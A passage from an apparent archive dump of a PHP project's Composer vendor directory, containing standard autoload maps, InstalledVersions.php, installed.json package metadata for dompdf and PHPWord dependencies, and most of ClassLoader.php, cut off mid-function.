$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
    'Svg\\' => array($vendorDir . '/dompdf/php-svg-lib/src/Svg'),
    'Sabberworm\\CSS\\' => array($vendorDir . '/sabberworm/php-css-parser/src'),
    'PhpOffice\\PhpWord\\' => array($vendorDir . '/phpoffice/phpword/src/PhpWord'),
    'PhpOffice\\Math\\' => array($vendorDir . '/phpoffice/math/src/Math'),
    'Masterminds\\' => array($vendorDir . '/masterminds/html5/src'),
    'FontLib\\' => array($vendorDir . '/dompdf/php-font-lib/src/FontLib'),
    'Dompdf\\' => array($vendorDir . '/dompdf/dompdf/src'),
);
vendor/composer/InstalledVersions.php000066600000035234151150442740014067 0ustar00<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer;

use Composer\Autoload\ClassLoader;
use Composer\Semver\VersionParser;

/**
 * This class is copied in every Composer installed project and available to all
 *
 * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
 *
 * To require its presence, you can require `composer-runtime-api ^2.0`
 *
 * @final
 */
class InstalledVersions
{
    /**
     * @var mixed[]|null
     * @psalm-var array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}|array{}|null
     */
    private static $installed;

    /**
     * @var bool|null
     */
    private static $canGetVendors;

    /**
     * @var array[]
     * @psalm-var array<string, array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
     */
    private static $installedByVendor = array();

    /**
     * Returns a list of all package names which are present, either by being installed, replaced or provided
     *
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackages()
    {
        $packages = array();
        foreach (self::getInstalled() as $installed) {
            $packages[] = array_keys($installed['versions']);
        }

        if (1 === \count($packages)) {
            return $packages[0];
        }

        return array_keys(array_flip(\call_user_func_array('array_merge', $packages)));
    }

    /**
     * Returns a list of all package names with a specific type e.g. 'library'
     *
     * @param  string   $type
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackagesByType($type)
    {
        $packagesByType = array();

        foreach (self::getInstalled() as $installed) {
            foreach ($installed['versions'] as $name => $package) {
                if (isset($package['type']) && $package['type'] === $type) {
                    $packagesByType[] = $name;
                }
            }
        }

        return $packagesByType;
    }

    /**
     * Checks whether the given package is installed
     *
     * This also returns true if the package name is provided or replaced by another package
     *
     * @param  string $packageName
     * @param  bool   $includeDevRequirements
     * @return bool
     */
    public static function isInstalled($packageName, $includeDevRequirements = true)
    {
        foreach (self::getInstalled() as $installed) {
            if (isset($installed['versions'][$packageName])) {
                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
            }
        }

        return false;
    }

    /**
     * Checks whether the given package satisfies a version constraint
     *
     * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
     *
     *   Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
     *
     * @param  VersionParser $parser      Install composer/semver to have access to this class and functionality
     * @param  string        $packageName
     * @param  string|null   $constraint  A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
     * @return bool
     */
    public static function satisfies(VersionParser $parser, $packageName, $constraint)
    {
        $constraint = $parser->parseConstraints($constraint);
        $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

        return $provided->matches($constraint);
    }

    /**
     * Returns a version constraint representing all the range(s) which are installed for a given package
     *
     * It is easier to use this via isInstalled() with the $constraint argument if you need to check
     * whether a given version of a package is installed, and not just whether it exists
     *
     * @param  string $packageName
     * @return string Version constraint usable with composer/semver
     */
    public static function getVersionRanges($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            $ranges = array();
            if (isset($installed['versions'][$packageName]['pretty_version'])) {
                $ranges[] = $installed['versions'][$packageName]['pretty_version'];
            }
            if (array_key_exists('aliases', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
            }
            if (array_key_exists('replaced', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
            }
            if (array_key_exists('provided', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
            }

            return implode(' || ', $ranges);
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getPrettyVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['pretty_version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['pretty_version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference
     */
    public static function getReference($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['reference'])) {
                return null;
            }

            return $installed['versions'][$packageName]['reference'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path.
     */
    public static function getInstallPath($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null;
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @return array
     * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}
     */
    public static function getRootPackage()
    {
        $installed = self::getInstalled();

        return $installed[0]['root'];
    }

    /**
     * Returns the raw installed.php data for custom implementations
     *
     * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
     * @return array[]
     * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}
     */
    public static function getRawData()
    {
        @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED);

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                self::$installed = include __DIR__ . '/installed.php';
            } else {
                self::$installed = array();
            }
        }

        return self::$installed;
    }

    /**
     * Returns the raw data of all installed.php which are currently loaded for custom implementations
     *
     * @return array[]
     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
     */
    public static function getAllRawData()
    {
        return self::getInstalled();
    }

    /**
     * Lets you reload the static array from another file
     *
     * This is only useful for complex integrations in which a project needs to use
     * this class but then also needs to execute another project's autoloader in process,
     * and wants to ensure both projects have access to their version of installed.php.
     *
     * A typical case would be PHPUnit, where it would need to make sure it reads all
     * the data it needs from this class, then call reload() with
     * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure
     * the project in which it runs can then also use this class safely, without
     * interference between PHPUnit's dependencies and the project's dependencies.
     *
     * @param  array[] $data A vendor/composer/installed.php data set
     * @return void
     *
     * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>} $data
     */
    public static function reload($data)
    {
        self::$installed = $data;
        self::$installedByVendor = array();
    }

    /**
     * @return array[]
     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
     */
    private static function getInstalled()
    {
        if (null === self::$canGetVendors) {
            self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders');
        }

        $installed = array();

        if (self::$canGetVendors) {
            foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
                if (isset(self::$installedByVendor[$vendorDir])) {
                    $installed[] = self::$installedByVendor[$vendorDir];
                } elseif (is_file($vendorDir.'/composer/installed.php')) {
                    $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php';
                    if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) {
                        self::$installed = $installed[count($installed) - 1];
                    }
                }
            }
        }

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                self::$installed = require __DIR__ . '/installed.php';
            } else {
                self::$installed = array();
            }
        }
        $installed[] = self::$installed;

        return $installed;
    }
}
vendor/composer/installed.json000066600000042230151150442740012552 0ustar00{
    "packages": [
        {
            "name": "dompdf/dompdf",
            "version": "v3.0.0",
            "version_normalized": "3.0.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/dompdf/dompdf.git",
                "reference": "fbc7c5ee5d94f7a910b78b43feb7931b7f971b59"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/dompdf/dompdf/zipball/fbc7c5ee5d94f7a910b78b43feb7931b7f971b59",
                "reference": "fbc7c5ee5d94f7a910b78b43feb7931b7f971b59",
                "shasum": ""
            },
            "require": {
                "dompdf/php-font-lib": "^1.0.0",
                "dompdf/php-svg-lib": "^1.0.0",
                "ext-dom": "*",
                "ext-mbstring": "*",
                "masterminds/html5": "^2.0",
                "php": "^7.1 || ^8.0"
            },
            "require-dev": {
                "ext-gd": "*",
                "ext-json": "*",
                "ext-zip": "*",
                "mockery/mockery": "^1.3",
                "phpunit/phpunit": "^7.5 || ^8 || ^9 || ^10",
                "squizlabs/php_codesniffer": "^3.5",
                "symfony/process": "^4.4 || ^5.4 || ^6.2 || ^7.0"
            },
            "suggest": {
                "ext-gd": "Needed to process images",
                "ext-gmagick": "Improves image processing performance",
                "ext-imagick": "Improves image processing performance",
                "ext-zlib": "Needed for pdf stream compression"
            },
            "time": "2024-04-29T14:01:28+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Dompdf\\": "src/"
                },
                "classmap": [
                    "lib/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "LGPL-2.1"
            ],
            "authors": [
                {
                    "name": "The Dompdf Community",
                    "homepage": "https://github.com/dompdf/dompdf/blob/master/AUTHORS.md"
                }
            ],
            "description": "DOMPDF is a CSS 2.1 compliant HTML to PDF converter",
            "homepage": "https://github.com/dompdf/dompdf",
            "support": {
                "issues": "https://github.com/dompdf/dompdf/issues",
                "source": "https://github.com/dompdf/dompdf/tree/v3.0.0"
            },
            "install-path": "../dompdf/dompdf"
        },
        {
            "name": "dompdf/php-font-lib",
            "version": "1.0.0",
            "version_normalized": "1.0.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/dompdf/php-font-lib.git",
                "reference": "991d6a954f6bbd7e41022198f00586b230731441"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/dompdf/php-font-lib/zipball/991d6a954f6bbd7e41022198f00586b230731441",
                "reference": "991d6a954f6bbd7e41022198f00586b230731441",
                "shasum": ""
            },
            "require": {
                "ext-mbstring": "*",
                "php": "^7.1 || ^8.0"
            },
            "require-dev": {
                "symfony/phpunit-bridge": "^3 || ^4 || ^5 || ^6"
            },
            "time": "2024-04-29T13:40:38+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "FontLib\\": "src/FontLib"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "LGPL-2.1-or-later"
            ],
            "authors": [
                {
                    "name": "The FontLib Community",
                    "homepage": "https://github.com/dompdf/php-font-lib/blob/master/AUTHORS.md"
                }
            ],
            "description": "A library to read, parse, export and make subsets of different types of font files.",
            "homepage": "https://github.com/dompdf/php-font-lib",
            "support": {
                "issues": "https://github.com/dompdf/php-font-lib/issues",
                "source": "https://github.com/dompdf/php-font-lib/tree/1.0.0"
            },
            "install-path": "../dompdf/php-font-lib"
        },
        {
            "name": "dompdf/php-svg-lib",
            "version": "1.0.0",
            "version_normalized": "1.0.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/dompdf/php-svg-lib.git",
                "reference": "eb045e518185298eb6ff8d80d0d0c6b17aecd9af"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/dompdf/php-svg-lib/zipball/eb045e518185298eb6ff8d80d0d0c6b17aecd9af",
                "reference": "eb045e518185298eb6ff8d80d0d0c6b17aecd9af",
                "shasum": ""
            },
            "require": {
                "ext-mbstring": "*",
                "php": "^7.1 || ^8.0",
                "sabberworm/php-css-parser": "^8.4"
            },
            "require-dev": {
                "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5"
            },
            "time": "2024-04-29T13:26:35+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Svg\\": "src/Svg"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "LGPL-3.0-or-later"
            ],
            "authors": [
                {
                    "name": "The SvgLib Community",
                    "homepage": "https://github.com/dompdf/php-svg-lib/blob/master/AUTHORS.md"
                }
            ],
            "description": "A library to read, parse and export to PDF SVG files.",
            "homepage": "https://github.com/dompdf/php-svg-lib",
            "support": {
                "issues": "https://github.com/dompdf/php-svg-lib/issues",
                "source": "https://github.com/dompdf/php-svg-lib/tree/1.0.0"
            },
            "install-path": "../dompdf/php-svg-lib"
        },
        {
            "name": "masterminds/html5",
            "version": "2.9.0",
            "version_normalized": "2.9.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/Masterminds/html5-php.git",
                "reference": "f5ac2c0b0a2eefca70b2ce32a5809992227e75a6"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/Masterminds/html5-php/zipball/f5ac2c0b0a2eefca70b2ce32a5809992227e75a6",
                "reference": "f5ac2c0b0a2eefca70b2ce32a5809992227e75a6",
                "shasum": ""
            },
            "require": {
                "ext-dom": "*",
                "php": ">=5.3.0"
            },
            "require-dev": {
                "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7 || ^8 || ^9"
            },
            "time": "2024-03-31T07:05:07+00:00",
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "2.7-dev"
                }
            },
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Masterminds\\": "src"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Matt Butcher",
                    "email": "technosophos@gmail.com"
                },
                {
                    "name": "Matt Farina",
                    "email": "matt@mattfarina.com"
                },
                {
                    "name": "Asmir Mustafic",
                    "email": "goetas@gmail.com"
                }
            ],
            "description": "An HTML5 parser and serializer.",
            "homepage": "http://masterminds.github.io/html5-php",
            "keywords": [
                "HTML5",
                "dom",
                "html",
                "parser",
                "querypath",
                "serializer",
                "xml"
            ],
            "support": {
                "issues": "https://github.com/Masterminds/html5-php/issues",
                "source": "https://github.com/Masterminds/html5-php/tree/2.9.0"
            },
            "install-path": "../masterminds/html5"
        },
        {
            "name": "phpoffice/math",
            "version": "0.2.0",
            "version_normalized": "0.2.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/PHPOffice/Math.git",
                "reference": "fc2eb6d1a61b058d5dac77197059db30ee3c8329"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/PHPOffice/Math/zipball/fc2eb6d1a61b058d5dac77197059db30ee3c8329",
                "reference": "fc2eb6d1a61b058d5dac77197059db30ee3c8329",
                "shasum": ""
            },
            "require": {
                "ext-dom": "*",
                "ext-xml": "*",
                "php": "^7.1|^8.0"
            },
            "require-dev": {
                "phpstan/phpstan": "^0.12.88 || ^1.0.0",
                "phpunit/phpunit": "^7.0 || ^9.0"
            },
            "time": "2024-08-12T07:30:45+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "PhpOffice\\Math\\": "src/Math/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Progi1984",
                    "homepage": "https://lefevre.dev"
                }
            ],
            "description": "Math - Manipulate Math Formula",
            "homepage": "https://phpoffice.github.io/Math/",
            "keywords": [
                "MathML",
                "officemathml",
                "php"
            ],
            "support": {
                "issues": "https://github.com/PHPOffice/Math/issues",
                "source": "https://github.com/PHPOffice/Math/tree/0.2.0"
            },
            "install-path": "../phpoffice/math"
        },
        {
            "name": "phpoffice/phpword",
            "version": "1.3.0",
            "version_normalized": "1.3.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/PHPOffice/PHPWord.git",
                "reference": "8392134ce4b5dba65130ba956231a1602b848b7f"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/PHPOffice/PHPWord/zipball/8392134ce4b5dba65130ba956231a1602b848b7f",
                "reference": "8392134ce4b5dba65130ba956231a1602b848b7f",
                "shasum": ""
            },
            "require": {
                "ext-dom": "*",
                "ext-json": "*",
                "ext-xml": "*",
                "php": "^7.1|^8.0",
                "phpoffice/math": "^0.2"
            },
            "require-dev": {
                "dompdf/dompdf": "^2.0",
                "ext-gd": "*",
                "ext-libxml": "*",
                "ext-zip": "*",
                "friendsofphp/php-cs-fixer": "^3.3",
                "mpdf/mpdf": "^8.1",
                "phpmd/phpmd": "^2.13",
                "phpstan/phpstan-phpunit": "@stable",
                "phpunit/phpunit": ">=7.0",
                "symfony/process": "^4.4 || ^5.0",
                "tecnickcom/tcpdf": "^6.5"
            },
            "suggest": {
                "dompdf/dompdf": "Allows writing PDF",
                "ext-gd2": "Allows adding images",
                "ext-xmlwriter": "Allows writing OOXML and ODF",
                "ext-xsl": "Allows applying XSL style sheet to headers, to main document part, and to footers of an OOXML template",
                "ext-zip": "Allows writing OOXML and ODF"
            },
            "time": "2024-08-30T18:03:42+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "PhpOffice\\PhpWord\\": "src/PhpWord"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "LGPL-3.0"
            ],
            "authors": [
                {
                    "name": "Mark Baker"
                },
                {
                    "name": "Gabriel Bull",
                    "email": "me@gabrielbull.com",
                    "homepage": "http://gabrielbull.com/"
                },
                {
                    "name": "Franck Lefevre",
                    "homepage": "https://rootslabs.net/blog/"
                },
                {
                    "name": "Ivan Lanin",
                    "homepage": "http://ivan.lanin.org"
                },
                {
                    "name": "Roman Syroeshko",
                    "homepage": "http://ru.linkedin.com/pub/roman-syroeshko/34/a53/994/"
                },
                {
                    "name": "Antoine de Troostembergh"
                }
            ],
            "description": "PHPWord - A pure PHP library for reading and writing word processing documents (OOXML, ODF, RTF, HTML, PDF)",
            "homepage": "https://phpoffice.github.io/PHPWord/",
            "keywords": [
                "ISO IEC 29500",
                "OOXML",
                "Office Open XML",
                "OpenDocument",
                "OpenXML",
                "PhpOffice",
                "PhpWord",
                "Rich Text Format",
                "WordprocessingML",
                "doc",
                "docx",
                "html",
                "odf",
                "odt",
                "office",
                "pdf",
                "php",
                "reader",
                "rtf",
                "template",
                "template processor",
                "word",
                "writer"
            ],
            "support": {
                "issues": "https://github.com/PHPOffice/PHPWord/issues",
                "source": "https://github.com/PHPOffice/PHPWord/tree/1.3.0"
            },
            "install-path": "../phpoffice/phpword"
        },
        {
            "name": "sabberworm/php-css-parser",
            "version": "v8.7.0",
            "version_normalized": "8.7.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/MyIntervals/PHP-CSS-Parser.git",
                "reference": "f414ff953002a9b18e3a116f5e462c56f21237cf"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/MyIntervals/PHP-CSS-Parser/zipball/f414ff953002a9b18e3a116f5e462c56f21237cf",
                "reference": "f414ff953002a9b18e3a116f5e462c56f21237cf",
                "shasum": ""
            },
            "require": {
                "ext-iconv": "*",
                "php": "^5.6.20 || ^7.0.0 || ~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0 || ~8.4.0"
            },
            "require-dev": {
                "phpunit/phpunit": "5.7.27 || 6.5.14 || 7.5.20 || 8.5.40"
            },
            "suggest": {
                "ext-mbstring": "for parsing UTF-8 CSS"
            },
            "time": "2024-10-27T17:38:32+00:00",
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-main": "9.0.x-dev"
                }
            },
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Sabberworm\\CSS\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Raphael Schweikert"
                },
                {
                    "name": "Oliver Klee",
                    "email": "github@oliverklee.de"
                },
                {
                    "name": "Jake Hotson",
                    "email": "jake.github@qzdesign.co.uk"
                }
            ],
            "description": "Parser for CSS Files written in PHP",
            "homepage": "https://www.sabberworm.com/blog/2010/6/10/php-css-parser",
            "keywords": [
                "css",
                "parser",
                "stylesheet"
            ],
            "support": {
                "issues": "https://github.com/MyIntervals/PHP-CSS-Parser/issues",
                "source": "https://github.com/MyIntervals/PHP-CSS-Parser/tree/v8.7.0"
            },
            "install-path": "../sabberworm/php-css-parser"
        }
    ],
    "dev": true,
    "dev-package-names": []
}
vendor/composer/autoload_namespaces.php000066600000000213151150442740014413 0ustar00<?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
);
vendor/composer/ClassLoader.php000066600000037304151150442740012613 0ustar00<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    https://www.php-fig.org/psr/psr-0/
 * @see    https://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
    /** @var ?string */
    private $vendorDir;

    // PSR-4
    /**
     * @var array[]
     * @psalm-var array<string, array<string, int>>
     */
    private $prefixLengthsPsr4 = array();
    /**
     * @var array[]
     * @psalm-var array<string, array<int, string>>
     */
    private $prefixDirsPsr4 = array();
    /**
     * @var array[]
     * @psalm-var array<string, string>
     */
    private $fallbackDirsPsr4 = array();

    // PSR-0
    /**
     * @var array[]
     * @psalm-var array<string, array<string, string[]>>
     */
    private $prefixesPsr0 = array();
    /**
     * @var array[]
     * @psalm-var array<string, string>
     */
    private $fallbackDirsPsr0 = array();

    /** @var bool */
    private $useIncludePath = false;

    /**
     * @var string[]
     * @psalm-var array<string, string>
     */
    private $classMap = array();

    /** @var bool */
    private $classMapAuthoritative = false;

    /**
     * @var bool[]
     * @psalm-var array<string, bool>
     */
    private $missingClasses = array();

    /** @var ?string */
    private $apcuPrefix;

    /**
     * @var self[]
     */
    private static $registeredLoaders = array();

    /**
     * @param ?string $vendorDir
     */
    public function __construct($vendorDir = null)
    {
        $this->vendorDir = $vendorDir;
    }

    /**
     * @return string[]
     */
    public function getPrefixes()
    {
        if (!empty($this->prefixesPsr0)) {
            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
        }

        return array();
    }

    /**
     * @return array[]
     * @psalm-return array<string, array<int, string>>
     */
    public function getPrefixesPsr4()
    {
        return $this->prefixDirsPsr4;
    }

    /**
     * @return array[]
     * @psalm-return array<string, string>
     */
    public function getFallbackDirs()
    {
        return $this->fallbackDirsPsr0;
    }

    /**
     * @return array[]
     * @psalm-return array<string, string>
     */
    public function getFallbackDirsPsr4()
    {
        return $this->fallbackDirsPsr4;
    }

    /**
     * @return string[] Array of classname => path
     * @psalm-return array<string, string>
     */
    public function getClassMap()
    {
        return $this->classMap;
    }

    /**
     * @param string[] $classMap Class to filename map
     * @psalm-param array<string, string> $classMap
     *
     * @return void
     */
    public function addClassMap(array $classMap)
    {
        if ($this->classMap) {
            $this->classMap = array_merge($this->classMap, $classMap);
        } else {
            $this->classMap = $classMap;
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix, either
     * appending or prepending to the ones previously set for this prefix.
     *
     * @param string          $prefix  The prefix
     * @param string[]|string $paths   The PSR-0 root directories
     * @param bool            $prepend Whether to prepend the directories
     *
     * @return void
     */
    public function add($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            if ($prepend) {
                $this->fallbackDirsPsr0 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr0
                );
            } else {
                $this->fallbackDirsPsr0 = array_merge(
                    $this->fallbackDirsPsr0,
                    (array) $paths
                );
            }

            return;
        }

        $first = $prefix[0];
        if (!isset($this->prefixesPsr0[$first][$prefix])) {
            $this->prefixesPsr0[$first][$prefix] = (array) $paths;

            return;
        }
        if ($prepend) {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                (array) $paths,
                $this->prefixesPsr0[$first][$prefix]
            );
        } else {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $this->prefixesPsr0[$first][$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace, either
     * appending or prepending to the ones previously set for this namespace.
     *
     * @param string          $prefix  The prefix/namespace, with trailing '\\'
     * @param string[]|string $paths   The PSR-4 base directories
     * @param bool            $prepend Whether to prepend the directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function addPsr4($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            // Register directories for the root namespace.
            if ($prepend) {
                $this->fallbackDirsPsr4 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr4
                );
            } else {
                $this->fallbackDirsPsr4 = array_merge(
                    $this->fallbackDirsPsr4,
                    (array) $paths
                );
            }
        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
            // Register directories for a new namespace.
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        } elseif ($prepend) {
            // Prepend directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                (array) $paths,
                $this->prefixDirsPsr4[$prefix]
            );
        } else {
            // Append directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $this->prefixDirsPsr4[$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix,
     * replacing any others previously set for this prefix.
     *
     * @param string          $prefix The prefix
     * @param string[]|string $paths  The PSR-0 base directories
     *
     * @return void
     */
    public function set($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr0 = (array) $paths;
        } else {
            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace,
     * replacing any others previously set for this namespace.
     *
     * @param string          $prefix The prefix/namespace, with trailing '\\'
     * @param string[]|string $paths  The PSR-4 base directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function setPsr4($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr4 = (array) $paths;
        } else {
